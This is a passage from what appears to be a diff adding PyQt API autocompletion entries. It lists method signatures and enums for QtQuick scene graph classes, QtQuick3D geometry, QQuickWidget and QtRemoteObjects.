QSGMaterialRhiShader.Flags) +QtQuick.QSGNode.Flags?1() +QtQuick.QSGNode.Flags.__init__?1(self) +QtQuick.QSGNode.Flags?1(int) +QtQuick.QSGNode.Flags.__init__?1(self, int) +QtQuick.QSGNode.Flags?1(QSGNode.Flags) +QtQuick.QSGNode.Flags.__init__?1(self, QSGNode.Flags) +QtQuick.QSGNode.DirtyState?1() +QtQuick.QSGNode.DirtyState.__init__?1(self) +QtQuick.QSGNode.DirtyState?1(int) +QtQuick.QSGNode.DirtyState.__init__?1(self, int) +QtQuick.QSGNode.DirtyState?1(QSGNode.DirtyState) +QtQuick.QSGNode.DirtyState.__init__?1(self, QSGNode.DirtyState) +QtQuick.QSGClipNode?1() +QtQuick.QSGClipNode.__init__?1(self) +QtQuick.QSGClipNode.setIsRectangular?4(bool) +QtQuick.QSGClipNode.isRectangular?4() -> bool +QtQuick.QSGClipNode.setClipRect?4(QRectF) +QtQuick.QSGClipNode.clipRect?4() -> QRectF +QtQuick.QSGTransformNode?1() +QtQuick.QSGTransformNode.__init__?1(self) +QtQuick.QSGTransformNode.setMatrix?4(QMatrix4x4) +QtQuick.QSGTransformNode.matrix?4() -> QMatrix4x4 +QtQuick.QSGOpacityNode?1() +QtQuick.QSGOpacityNode.__init__?1(self) +QtQuick.QSGOpacityNode.setOpacity?4(float) +QtQuick.QSGOpacityNode.opacity?4() -> float +QtQuick.QSGRectangleNode.setRect?4(QRectF) +QtQuick.QSGRectangleNode.setRect?4(float, float, float, float) +QtQuick.QSGRectangleNode.rect?4() -> QRectF +QtQuick.QSGRectangleNode.setColor?4(QColor) +QtQuick.QSGRectangleNode.color?4() -> QColor +QtQuick.QSGRendererInterface.ShaderSourceType?10 +QtQuick.QSGRendererInterface.ShaderSourceType.ShaderSourceString?10 +QtQuick.QSGRendererInterface.ShaderSourceType.ShaderSourceFile?10 +QtQuick.QSGRendererInterface.ShaderSourceType.ShaderByteCode?10 +QtQuick.QSGRendererInterface.ShaderCompilationType?10 +QtQuick.QSGRendererInterface.ShaderCompilationType.RuntimeCompilation?10 +QtQuick.QSGRendererInterface.ShaderCompilationType.OfflineCompilation?10 +QtQuick.QSGRendererInterface.ShaderType?10 +QtQuick.QSGRendererInterface.ShaderType.UnknownShadingLanguage?10 +QtQuick.QSGRendererInterface.ShaderType.GLSL?10 +QtQuick.QSGRendererInterface.ShaderType.HLSL?10 +QtQuick.QSGRendererInterface.ShaderType.RhiShader?10 +QtQuick.QSGRendererInterface.Resource?10 +QtQuick.QSGRendererInterface.Resource.DeviceResource?10 +QtQuick.QSGRendererInterface.Resource.CommandQueueResource?10 +QtQuick.QSGRendererInterface.Resource.CommandListResource?10 +QtQuick.QSGRendererInterface.Resource.PainterResource?10 +QtQuick.QSGRendererInterface.Resource.RhiResource?10 +QtQuick.QSGRendererInterface.Resource.PhysicalDeviceResource?10 +QtQuick.QSGRendererInterface.Resource.OpenGLContextResource?10 +QtQuick.QSGRendererInterface.Resource.DeviceContextResource?10 +QtQuick.QSGRendererInterface.Resource.CommandEncoderResource?10 +QtQuick.QSGRendererInterface.Resource.VulkanInstanceResource?10 +QtQuick.QSGRendererInterface.Resource.RenderPassResource?10 +QtQuick.QSGRendererInterface.GraphicsApi?10 +QtQuick.QSGRendererInterface.GraphicsApi.Unknown?10 +QtQuick.QSGRendererInterface.GraphicsApi.Software?10 +QtQuick.QSGRendererInterface.GraphicsApi.OpenGL?10 +QtQuick.QSGRendererInterface.GraphicsApi.Direct3D12?10 +QtQuick.QSGRendererInterface.GraphicsApi.OpenVG?10 +QtQuick.QSGRendererInterface.GraphicsApi.OpenGLRhi?10 +QtQuick.QSGRendererInterface.GraphicsApi.Direct3D11Rhi?10 +QtQuick.QSGRendererInterface.GraphicsApi.VulkanRhi?10 +QtQuick.QSGRendererInterface.GraphicsApi.MetalRhi?10 +QtQuick.QSGRendererInterface.GraphicsApi.NullRhi?10 +QtQuick.QSGRendererInterface.graphicsApi?4() -> QSGRendererInterface.GraphicsApi +QtQuick.QSGRendererInterface.getResource?4(QQuickWindow, QSGRendererInterface.Resource) -> sip.voidptr +QtQuick.QSGRendererInterface.getResource?4(QQuickWindow, str) -> sip.voidptr +QtQuick.QSGRendererInterface.shaderType?4() -> QSGRendererInterface.ShaderType +QtQuick.QSGRendererInterface.shaderCompilationType?4() -> QSGRendererInterface.ShaderCompilationTypes +QtQuick.QSGRendererInterface.shaderSourceType?4() -> QSGRendererInterface.ShaderSourceTypes +QtQuick.QSGRendererInterface.isApiRhiBased?4(QSGRendererInterface.GraphicsApi) -> bool +QtQuick.QSGRendererInterface.ShaderCompilationTypes?1() +QtQuick.QSGRendererInterface.ShaderCompilationTypes.__init__?1(self) +QtQuick.QSGRendererInterface.ShaderCompilationTypes?1(int) +QtQuick.QSGRendererInterface.ShaderCompilationTypes.__init__?1(self, int) +QtQuick.QSGRendererInterface.ShaderCompilationTypes?1(QSGRendererInterface.ShaderCompilationTypes) +QtQuick.QSGRendererInterface.ShaderCompilationTypes.__init__?1(self, QSGRendererInterface.ShaderCompilationTypes) +QtQuick.QSGRendererInterface.ShaderSourceTypes?1() +QtQuick.QSGRendererInterface.ShaderSourceTypes.__init__?1(self) +QtQuick.QSGRendererInterface.ShaderSourceTypes?1(int) +QtQuick.QSGRendererInterface.ShaderSourceTypes.__init__?1(self, int) +QtQuick.QSGRendererInterface.ShaderSourceTypes?1(QSGRendererInterface.ShaderSourceTypes) +QtQuick.QSGRendererInterface.ShaderSourceTypes.__init__?1(self, QSGRendererInterface.ShaderSourceTypes) +QtQuick.QSGRenderNode.RenderingFlag?10 +QtQuick.QSGRenderNode.RenderingFlag.BoundedRectRendering?10 +QtQuick.QSGRenderNode.RenderingFlag.DepthAwareRendering?10 +QtQuick.QSGRenderNode.RenderingFlag.OpaqueRendering?10 +QtQuick.QSGRenderNode.StateFlag?10 +QtQuick.QSGRenderNode.StateFlag.DepthState?10 +QtQuick.QSGRenderNode.StateFlag.StencilState?10 +QtQuick.QSGRenderNode.StateFlag.ScissorState?10 +QtQuick.QSGRenderNode.StateFlag.ColorState?10 +QtQuick.QSGRenderNode.StateFlag.BlendState?10 +QtQuick.QSGRenderNode.StateFlag.CullState?10 +QtQuick.QSGRenderNode.StateFlag.ViewportState?10 +QtQuick.QSGRenderNode.StateFlag.RenderTargetState?10 +QtQuick.QSGRenderNode?1() +QtQuick.QSGRenderNode.__init__?1(self) +QtQuick.QSGRenderNode.changedStates?4() -> QSGRenderNode.StateFlags +QtQuick.QSGRenderNode.render?4(QSGRenderNode.RenderState) +QtQuick.QSGRenderNode.releaseResources?4() +QtQuick.QSGRenderNode.flags?4() -> QSGRenderNode.RenderingFlags +QtQuick.QSGRenderNode.rect?4() -> QRectF +QtQuick.QSGRenderNode.matrix?4() -> QMatrix4x4 +QtQuick.QSGRenderNode.clipList?4() -> QSGClipNode +QtQuick.QSGRenderNode.inheritedOpacity?4() -> float +QtQuick.QSGRenderNode.StateFlags?1() +QtQuick.QSGRenderNode.StateFlags.__init__?1(self) +QtQuick.QSGRenderNode.StateFlags?1(int) +QtQuick.QSGRenderNode.StateFlags.__init__?1(self, int) +QtQuick.QSGRenderNode.StateFlags?1(QSGRenderNode.StateFlags) +QtQuick.QSGRenderNode.StateFlags.__init__?1(self, QSGRenderNode.StateFlags) +QtQuick.QSGRenderNode.RenderingFlags?1() +QtQuick.QSGRenderNode.RenderingFlags.__init__?1(self) +QtQuick.QSGRenderNode.RenderingFlags?1(int) +QtQuick.QSGRenderNode.RenderingFlags.__init__?1(self, int) +QtQuick.QSGRenderNode.RenderingFlags?1(QSGRenderNode.RenderingFlags) +QtQuick.QSGRenderNode.RenderingFlags.__init__?1(self, QSGRenderNode.RenderingFlags) +QtQuick.QSGRenderNode.RenderState.projectionMatrix?4() -> QMatrix4x4 +QtQuick.QSGRenderNode.RenderState.scissorRect?4() -> QRect +QtQuick.QSGRenderNode.RenderState.scissorEnabled?4() -> bool +QtQuick.QSGRenderNode.RenderState.stencilValue?4() -> int +QtQuick.QSGRenderNode.RenderState.stencilEnabled?4() -> bool +QtQuick.QSGRenderNode.RenderState.clipRegion?4() -> QRegion +QtQuick.QSGRenderNode.RenderState.get?4(str) -> sip.voidptr +QtQuick.QSGSimpleRectNode?1(QRectF, QColor) +QtQuick.QSGSimpleRectNode.__init__?1(self, QRectF, QColor) +QtQuick.QSGSimpleRectNode?1() +QtQuick.QSGSimpleRectNode.__init__?1(self) +QtQuick.QSGSimpleRectNode.setRect?4(QRectF) +QtQuick.QSGSimpleRectNode.setRect?4(float, float, float, float) +QtQuick.QSGSimpleRectNode.rect?4() -> QRectF +QtQuick.QSGSimpleRectNode.setColor?4(QColor) +QtQuick.QSGSimpleRectNode.color?4() -> QColor +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformFlag?10 +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformFlag.NoTransform?10 +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformFlag.MirrorHorizontally?10 +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformFlag.MirrorVertically?10 +QtQuick.QSGSimpleTextureNode?1() +QtQuick.QSGSimpleTextureNode.__init__?1(self) +QtQuick.QSGSimpleTextureNode.setRect?4(QRectF) +QtQuick.QSGSimpleTextureNode.setRect?4(float, float, float, float) +QtQuick.QSGSimpleTextureNode.rect?4() -> QRectF +QtQuick.QSGSimpleTextureNode.setTexture?4(QSGTexture) +QtQuick.QSGSimpleTextureNode.texture?4() -> QSGTexture +QtQuick.QSGSimpleTextureNode.setFiltering?4(QSGTexture.Filtering) +QtQuick.QSGSimpleTextureNode.filtering?4() -> QSGTexture.Filtering +QtQuick.QSGSimpleTextureNode.setTextureCoordinatesTransform?4(QSGSimpleTextureNode.TextureCoordinatesTransformMode) +QtQuick.QSGSimpleTextureNode.textureCoordinatesTransform?4() -> QSGSimpleTextureNode.TextureCoordinatesTransformMode +QtQuick.QSGSimpleTextureNode.setOwnsTexture?4(bool) +QtQuick.QSGSimpleTextureNode.ownsTexture?4() -> bool +QtQuick.QSGSimpleTextureNode.setSourceRect?4(QRectF) +QtQuick.QSGSimpleTextureNode.setSourceRect?4(float, float, float, float) +QtQuick.QSGSimpleTextureNode.sourceRect?4() -> QRectF +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformMode?1() +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformMode.__init__?1(self) +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformMode?1(int) +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformMode.__init__?1(self, int) +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformMode?1(QSGSimpleTextureNode.TextureCoordinatesTransformMode) +QtQuick.QSGSimpleTextureNode.TextureCoordinatesTransformMode.__init__?1(self, QSGSimpleTextureNode.TextureCoordinatesTransformMode) +QtQuick.QSGTexture.AnisotropyLevel?10 +QtQuick.QSGTexture.AnisotropyLevel.AnisotropyNone?10 +QtQuick.QSGTexture.AnisotropyLevel.Anisotropy2x?10 +QtQuick.QSGTexture.AnisotropyLevel.Anisotropy4x?10 +QtQuick.QSGTexture.AnisotropyLevel.Anisotropy8x?10 +QtQuick.QSGTexture.AnisotropyLevel.Anisotropy16x?10 +QtQuick.QSGTexture.Filtering?10 +QtQuick.QSGTexture.Filtering.None_?10 +QtQuick.QSGTexture.Filtering.Nearest?10 +QtQuick.QSGTexture.Filtering.Linear?10 +QtQuick.QSGTexture.WrapMode?10 +QtQuick.QSGTexture.WrapMode.Repeat?10 +QtQuick.QSGTexture.WrapMode.ClampToEdge?10 +QtQuick.QSGTexture.WrapMode.MirroredRepeat?10 +QtQuick.QSGTexture?1() +QtQuick.QSGTexture.__init__?1(self) +QtQuick.QSGTexture.textureId?4() -> int +QtQuick.QSGTexture.textureSize?4() -> QSize +QtQuick.QSGTexture.hasAlphaChannel?4() -> bool +QtQuick.QSGTexture.hasMipmaps?4() -> bool +QtQuick.QSGTexture.normalizedTextureSubRect?4() -> QRectF +QtQuick.QSGTexture.isAtlasTexture?4() -> bool +QtQuick.QSGTexture.removedFromAtlas?4() -> QSGTexture +QtQuick.QSGTexture.bind?4() +QtQuick.QSGTexture.updateBindOptions?4(bool force=False) +QtQuick.QSGTexture.setMipmapFiltering?4(QSGTexture.Filtering) +QtQuick.QSGTexture.mipmapFiltering?4() -> QSGTexture.Filtering +QtQuick.QSGTexture.setFiltering?4(QSGTexture.Filtering) +QtQuick.QSGTexture.filtering?4() -> QSGTexture.Filtering +QtQuick.QSGTexture.setHorizontalWrapMode?4(QSGTexture.WrapMode) +QtQuick.QSGTexture.horizontalWrapMode?4() -> QSGTexture.WrapMode +QtQuick.QSGTexture.setVerticalWrapMode?4(QSGTexture.WrapMode) +QtQuick.QSGTexture.verticalWrapMode?4() -> QSGTexture.WrapMode +QtQuick.QSGTexture.convertToNormalizedSourceRect?4(QRectF) -> QRectF +QtQuick.QSGTexture.setAnisotropyLevel?4(QSGTexture.AnisotropyLevel) +QtQuick.QSGTexture.anisotropyLevel?4() -> QSGTexture.AnisotropyLevel +QtQuick.QSGTexture.comparisonKey?4() -> int +QtQuick.QSGTexture.nativeTexture?4() -> QSGTexture.NativeTexture +QtQuick.QSGTexture.NativeTexture.layout?7 +QtQuick.QSGTexture.NativeTexture.object?7 +QtQuick.QSGTexture.NativeTexture?1() +QtQuick.QSGTexture.NativeTexture.__init__?1(self) +QtQuick.QSGTexture.NativeTexture?1(QSGTexture.NativeTexture) +QtQuick.QSGTexture.NativeTexture.__init__?1(self, QSGTexture.NativeTexture) +QtQuick.QSGDynamicTexture?1() +QtQuick.QSGDynamicTexture.__init__?1(self) +QtQuick.QSGDynamicTexture.updateTexture?4() -> bool +QtQuick.QSGOpaqueTextureMaterial?1() +QtQuick.QSGOpaqueTextureMaterial.__init__?1(self) +QtQuick.QSGOpaqueTextureMaterial.type?4() -> QSGMaterialType +QtQuick.QSGOpaqueTextureMaterial.createShader?4() -> QSGMaterialShader +QtQuick.QSGOpaqueTextureMaterial.compare?4(QSGMaterial) -> int +QtQuick.QSGOpaqueTextureMaterial.setTexture?4(QSGTexture) +QtQuick.QSGOpaqueTextureMaterial.texture?4() -> QSGTexture +QtQuick.QSGOpaqueTextureMaterial.setMipmapFiltering?4(QSGTexture.Filtering) +QtQuick.QSGOpaqueTextureMaterial.mipmapFiltering?4() -> QSGTexture.Filtering +QtQuick.QSGOpaqueTextureMaterial.setFiltering?4(QSGTexture.Filtering) +QtQuick.QSGOpaqueTextureMaterial.filtering?4() -> QSGTexture.Filtering +QtQuick.QSGOpaqueTextureMaterial.setHorizontalWrapMode?4(QSGTexture.WrapMode) +QtQuick.QSGOpaqueTextureMaterial.horizontalWrapMode?4() -> QSGTexture.WrapMode +QtQuick.QSGOpaqueTextureMaterial.setVerticalWrapMode?4(QSGTexture.WrapMode) +QtQuick.QSGOpaqueTextureMaterial.verticalWrapMode?4() -> QSGTexture.WrapMode +QtQuick.QSGOpaqueTextureMaterial.setAnisotropyLevel?4(QSGTexture.AnisotropyLevel) +QtQuick.QSGOpaqueTextureMaterial.anisotropyLevel?4() -> QSGTexture.AnisotropyLevel +QtQuick.QSGTextureMaterial?1() +QtQuick.QSGTextureMaterial.__init__?1(self) +QtQuick.QSGTextureMaterial.type?4() -> QSGMaterialType +QtQuick.QSGTextureMaterial.createShader?4() -> QSGMaterialShader +QtQuick.QSGTextureProvider?1() +QtQuick.QSGTextureProvider.__init__?1(self) +QtQuick.QSGTextureProvider.texture?4() -> QSGTexture +QtQuick.QSGTextureProvider.textureChanged?4() +QtQuick.QSGVertexColorMaterial?1() +QtQuick.QSGVertexColorMaterial.__init__?1(self) +QtQuick.QSGVertexColorMaterial.compare?4(QSGMaterial) -> int +QtQuick.QSGVertexColorMaterial.type?4() -> QSGMaterialType +QtQuick.QSGVertexColorMaterial.createShader?4() -> QSGMaterialShader +QtQuick3D.QQuick3D?1() +QtQuick3D.QQuick3D.__init__?1(self) +QtQuick3D.QQuick3D?1(QQuick3D) +QtQuick3D.QQuick3D.__init__?1(self, QQuick3D) +QtQuick3D.QQuick3D.idealSurfaceFormat?4(int samples=-1) -> QSurfaceFormat +QtQuick3D.QQuick3DObject?1(QQuick3DObject parent=None) +QtQuick3D.QQuick3DObject.__init__?1(self, QQuick3DObject parent=None) +QtQuick3D.QQuick3DObject.state?4() -> QString +QtQuick3D.QQuick3DObject.setState?4(QString) +QtQuick3D.QQuick3DObject.parentItem?4() -> QQuick3DObject +QtQuick3D.QQuick3DObject.setParentItem?4(QQuick3DObject) +QtQuick3D.QQuick3DObject.stateChanged?4() +QtQuick3D.QQuick3DObject.classBegin?4() +QtQuick3D.QQuick3DObject.componentComplete?4() +QtQuick3D.QQuick3DGeometry.PrimitiveType?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.Unknown?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.Points?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.LineStrip?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.Lines?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.TriangleStrip?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.TriangleFan?10 +QtQuick3D.QQuick3DGeometry.PrimitiveType.Triangles?10 +QtQuick3D.QQuick3DGeometry?1(QQuick3DObject parent=None) +QtQuick3D.QQuick3DGeometry.__init__?1(self, QQuick3DObject parent=None) +QtQuick3D.QQuick3DGeometry.name?4() -> QString +QtQuick3D.QQuick3DGeometry.vertexBuffer?4() -> QByteArray +QtQuick3D.QQuick3DGeometry.indexBuffer?4() -> QByteArray +QtQuick3D.QQuick3DGeometry.attributeCount?4() -> int +QtQuick3D.QQuick3DGeometry.attribute?4(int) -> QQuick3DGeometry.Attribute +QtQuick3D.QQuick3DGeometry.primitiveType?4() -> QQuick3DGeometry.PrimitiveType +QtQuick3D.QQuick3DGeometry.boundsMin?4() -> QVector3D +QtQuick3D.QQuick3DGeometry.boundsMax?4() -> QVector3D +QtQuick3D.QQuick3DGeometry.stride?4() -> int +QtQuick3D.QQuick3DGeometry.setVertexData?4(QByteArray) +QtQuick3D.QQuick3DGeometry.setIndexData?4(QByteArray) +QtQuick3D.QQuick3DGeometry.setStride?4(int) +QtQuick3D.QQuick3DGeometry.setBounds?4(QVector3D, QVector3D) +QtQuick3D.QQuick3DGeometry.setPrimitiveType?4(QQuick3DGeometry.PrimitiveType) +QtQuick3D.QQuick3DGeometry.addAttribute?4(QQuick3DGeometry.Attribute.Semantic, int, QQuick3DGeometry.Attribute.ComponentType) +QtQuick3D.QQuick3DGeometry.addAttribute?4(QQuick3DGeometry.Attribute) +QtQuick3D.QQuick3DGeometry.clear?4() +QtQuick3D.QQuick3DGeometry.setName?4(QString) +QtQuick3D.QQuick3DGeometry.nameChanged?4() +QtQuick3D.QQuick3DGeometry.Attribute.ComponentType?10 +QtQuick3D.QQuick3DGeometry.Attribute.ComponentType.DefaultType?10 +QtQuick3D.QQuick3DGeometry.Attribute.ComponentType.U16Type?10 +QtQuick3D.QQuick3DGeometry.Attribute.ComponentType.U32Type?10 +QtQuick3D.QQuick3DGeometry.Attribute.ComponentType.F32Type?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.UnknownSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.IndexSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.PositionSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.NormalSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.TexCoordSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.TangentSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.Semantic.BinormalSemantic?10 +QtQuick3D.QQuick3DGeometry.Attribute.componentType?7 +QtQuick3D.QQuick3DGeometry.Attribute.offset?7 +QtQuick3D.QQuick3DGeometry.Attribute.semantic?7 +QtQuick3D.QQuick3DGeometry.Attribute?1() +QtQuick3D.QQuick3DGeometry.Attribute.__init__?1(self) +QtQuick3D.QQuick3DGeometry.Attribute?1(QQuick3DGeometry.Attribute) +QtQuick3D.QQuick3DGeometry.Attribute.__init__?1(self, QQuick3DGeometry.Attribute) +QtQuickWidgets.QQuickWidget.Status?10 +QtQuickWidgets.QQuickWidget.Status.Null?10 +QtQuickWidgets.QQuickWidget.Status.Ready?10 +QtQuickWidgets.QQuickWidget.Status.Loading?10 +QtQuickWidgets.QQuickWidget.Status.Error?10 +QtQuickWidgets.QQuickWidget.ResizeMode?10 +QtQuickWidgets.QQuickWidget.ResizeMode.SizeViewToRootObject?10 +QtQuickWidgets.QQuickWidget.ResizeMode.SizeRootObjectToView?10 +QtQuickWidgets.QQuickWidget?1(QWidget parent=None) +QtQuickWidgets.QQuickWidget.__init__?1(self, QWidget parent=None) +QtQuickWidgets.QQuickWidget?1(QQmlEngine, QWidget) +QtQuickWidgets.QQuickWidget.__init__?1(self, QQmlEngine, QWidget) +QtQuickWidgets.QQuickWidget?1(QUrl, QWidget parent=None) +QtQuickWidgets.QQuickWidget.__init__?1(self, QUrl, QWidget parent=None) +QtQuickWidgets.QQuickWidget.source?4() -> QUrl +QtQuickWidgets.QQuickWidget.engine?4() -> QQmlEngine +QtQuickWidgets.QQuickWidget.rootContext?4() -> QQmlContext +QtQuickWidgets.QQuickWidget.rootObject?4() -> QQuickItem +QtQuickWidgets.QQuickWidget.resizeMode?4() -> QQuickWidget.ResizeMode +QtQuickWidgets.QQuickWidget.setResizeMode?4(QQuickWidget.ResizeMode) +QtQuickWidgets.QQuickWidget.status?4() -> QQuickWidget.Status +QtQuickWidgets.QQuickWidget.errors?4() -> unknown-type +QtQuickWidgets.QQuickWidget.sizeHint?4() -> QSize +QtQuickWidgets.QQuickWidget.initialSize?4() -> QSize +QtQuickWidgets.QQuickWidget.setFormat?4(QSurfaceFormat) +QtQuickWidgets.QQuickWidget.format?4() -> QSurfaceFormat +QtQuickWidgets.QQuickWidget.setSource?4(QUrl) +QtQuickWidgets.QQuickWidget.statusChanged?4(QQuickWidget.Status) +QtQuickWidgets.QQuickWidget.sceneGraphError?4(QQuickWindow.SceneGraphError, QString) +QtQuickWidgets.QQuickWidget.resizeEvent?4(QResizeEvent) +QtQuickWidgets.QQuickWidget.timerEvent?4(QTimerEvent) +QtQuickWidgets.QQuickWidget.keyPressEvent?4(QKeyEvent) +QtQuickWidgets.QQuickWidget.keyReleaseEvent?4(QKeyEvent) +QtQuickWidgets.QQuickWidget.mousePressEvent?4(QMouseEvent) +QtQuickWidgets.QQuickWidget.mouseReleaseEvent?4(QMouseEvent) +QtQuickWidgets.QQuickWidget.mouseMoveEvent?4(QMouseEvent) +QtQuickWidgets.QQuickWidget.mouseDoubleClickEvent?4(QMouseEvent) +QtQuickWidgets.QQuickWidget.showEvent?4(QShowEvent) +QtQuickWidgets.QQuickWidget.hideEvent?4(QHideEvent) +QtQuickWidgets.QQuickWidget.wheelEvent?4(QWheelEvent) +QtQuickWidgets.QQuickWidget.event?4(QEvent) -> bool +QtQuickWidgets.QQuickWidget.focusInEvent?4(QFocusEvent) +QtQuickWidgets.QQuickWidget.focusOutEvent?4(QFocusEvent) +QtQuickWidgets.QQuickWidget.dragEnterEvent?4(QDragEnterEvent) +QtQuickWidgets.QQuickWidget.dragMoveEvent?4(QDragMoveEvent) +QtQuickWidgets.QQuickWidget.dragLeaveEvent?4(QDragLeaveEvent) +QtQuickWidgets.QQuickWidget.dropEvent?4(QDropEvent) +QtQuickWidgets.QQuickWidget.paintEvent?4(QPaintEvent) +QtQuickWidgets.QQuickWidget.grabFramebuffer?4() -> QImage +QtQuickWidgets.QQuickWidget.setClearColor?4(QColor) +QtQuickWidgets.QQuickWidget.quickWindow?4() -> QQuickWindow +QtQuickWidgets.QQuickWidget.focusNextPrevChild?4(bool) -> bool +QtRemoteObjects.QAbstractItemModelReplica.selectionModel?4() -> QItemSelectionModel +QtRemoteObjects.QAbstractItemModelReplica.data?4(QModelIndex, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtRemoteObjects.QAbstractItemModelReplica.setData?4(QModelIndex, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtRemoteObjects.QAbstractItemModelReplica.parent?4(QModelIndex) -> QModelIndex +QtRemoteObjects.QAbstractItemModelReplica.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtRemoteObjects.QAbstractItemModelReplica.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtRemoteObjects.QAbstractItemModelReplica.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtRemoteObjects.QAbstractItemModelReplica.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtRemoteObjects.QAbstractItemModelReplica.headerData?4(int, Qt.Orientation, int) -> QVariant +QtRemoteObjects.QAbstractItemModelReplica.flags?4(QModelIndex) -> Qt.ItemFlags +QtRemoteObjects.QAbstractItemModelReplica.availableRoles?4() -> unknown-type +QtRemoteObjects.QAbstractItemModelReplica.roleNames?4() -> unknown-type +QtRemoteObjects.QAbstractItemModelReplica.isInitialized?4() -> bool +QtRemoteObjects.QAbstractItemModelReplica.hasData?4(QModelIndex, int) -> bool +QtRemoteObjects.QAbstractItemModelReplica.rootCacheSize?4() -> int +QtRemoteObjects.QAbstractItemModelReplica.setRootCacheSize?4(int) +QtRemoteObjects.QAbstractItemModelReplica.initialized?4() +QtRemoteObjects.QRemoteObjectReplica.State?10 +QtRemoteObjects.QRemoteObjectReplica.State.Uninitialized?10 +QtRemoteObjects.QRemoteObjectReplica.State.Default?10 +QtRemoteObjects.QRemoteObjectReplica.State.Valid?10 +QtRemoteObjects.QRemoteObjectReplica.State.Suspect?10 +QtRemoteObjects.QRemoteObjectReplica.State.SignatureMismatch?10 +QtRemoteObjects.QRemoteObjectReplica.isReplicaValid?4() -> bool +QtRemoteObjects.QRemoteObjectReplica.waitForSource?4(int timeout=30000) -> bool +QtRemoteObjects.QRemoteObjectReplica.isInitialized?4() -> bool +QtRemoteObjects.QRemoteObjectReplica.state?4() -> QRemoteObjectReplica.State +QtRemoteObjects.QRemoteObjectReplica.node?4() -> QRemoteObjectNode +QtRemoteObjects.QRemoteObjectReplica.setNode?4(QRemoteObjectNode) +QtRemoteObjects.QRemoteObjectReplica.initialized?4() +QtRemoteObjects.QRemoteObjectReplica.stateChanged?4(QRemoteObjectReplica.State, QRemoteObjectReplica.State) +QtRemoteObjects.QRemoteObjectReplica.notified?4() +QtRemoteObjects.QRemoteObjectAbstractPersistedStore?1(QObject parent=None) +QtRemoteObjects.QRemoteObjectAbstractPersistedStore.__init__?1(self, QObject parent=None) +QtRemoteObjects.QRemoteObjectAbstractPersistedStore.saveProperties?4(QString, QByteArray, unknown-type) +QtRemoteObjects.QRemoteObjectAbstractPersistedStore.restoreProperties?4(QString, QByteArray) -> unknown-type +QtRemoteObjects.QRemoteObjectNode.ErrorCode?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.NoError?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.RegistryNotAcquired?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.RegistryAlreadyHosted?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.NodeIsNoServer?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.ServerAlreadyCreated?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.UnintendedRegistryHosting?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.OperationNotValidOnClientNode?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.SourceNotRegistered?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.MissingObjectName?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.HostUrlInvalid?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.ProtocolMismatch?10 +QtRemoteObjects.QRemoteObjectNode.ErrorCode.ListenFailed?10 +QtRemoteObjects.QRemoteObjectNode?1(QObject parent=None) +QtRemoteObjects.QRemoteObjectNode.__init__?1(self, QObject parent=None) +QtRemoteObjects.QRemoteObjectNode?1(QUrl, QObject parent=None) +QtRemoteObjects.QRemoteObjectNode.__init__?1(self, QUrl, QObject parent=None) +QtRemoteObjects.QRemoteObjectNode.connectToNode?4(QUrl) -> bool +QtRemoteObjects.QRemoteObjectNode.addClientSideConnection?4(QIODevice) +QtRemoteObjects.QRemoteObjectNode.setName?4(QString) +QtRemoteObjects.QRemoteObjectNode.instances?4(QString) -> QStringList +QtRemoteObjects.QRemoteObjectNode.acquireDynamic?4(QString) -> QRemoteObjectDynamicReplica +QtRemoteObjects.QRemoteObjectNode.acquireModel?4(QString, QtRemoteObjects.InitialAction action=QtRemoteObjects.FetchRootSize, unknown-type rolesHint=[]) -> QAbstractItemModelReplica +QtRemoteObjects.QRemoteObjectNode.registryUrl?4() -> QUrl +QtRemoteObjects.QRemoteObjectNode.setRegistryUrl?4(QUrl) -> bool +QtRemoteObjects.QRemoteObjectNode.waitForRegistry?4(int timeout=30000) -> bool +QtRemoteObjects.QRemoteObjectNode.registry?4() -> QRemoteObjectRegistry +QtRemoteObjects.QRemoteObjectNode.persistedStore?4() -> QRemoteObjectAbstractPersistedStore +QtRemoteObjects.QRemoteObjectNode.setPersistedStore?4(QRemoteObjectAbstractPersistedStore) +QtRemoteObjects.QRemoteObjectNode.lastError?4() -> QRemoteObjectNode.ErrorCode +QtRemoteObjects.QRemoteObjectNode.heartbeatInterval?4() -> int +QtRemoteObjects.QRemoteObjectNode.setHeartbeatInterval?4(int) +QtRemoteObjects.QRemoteObjectNode.remoteObjectAdded?4(unknown-type) 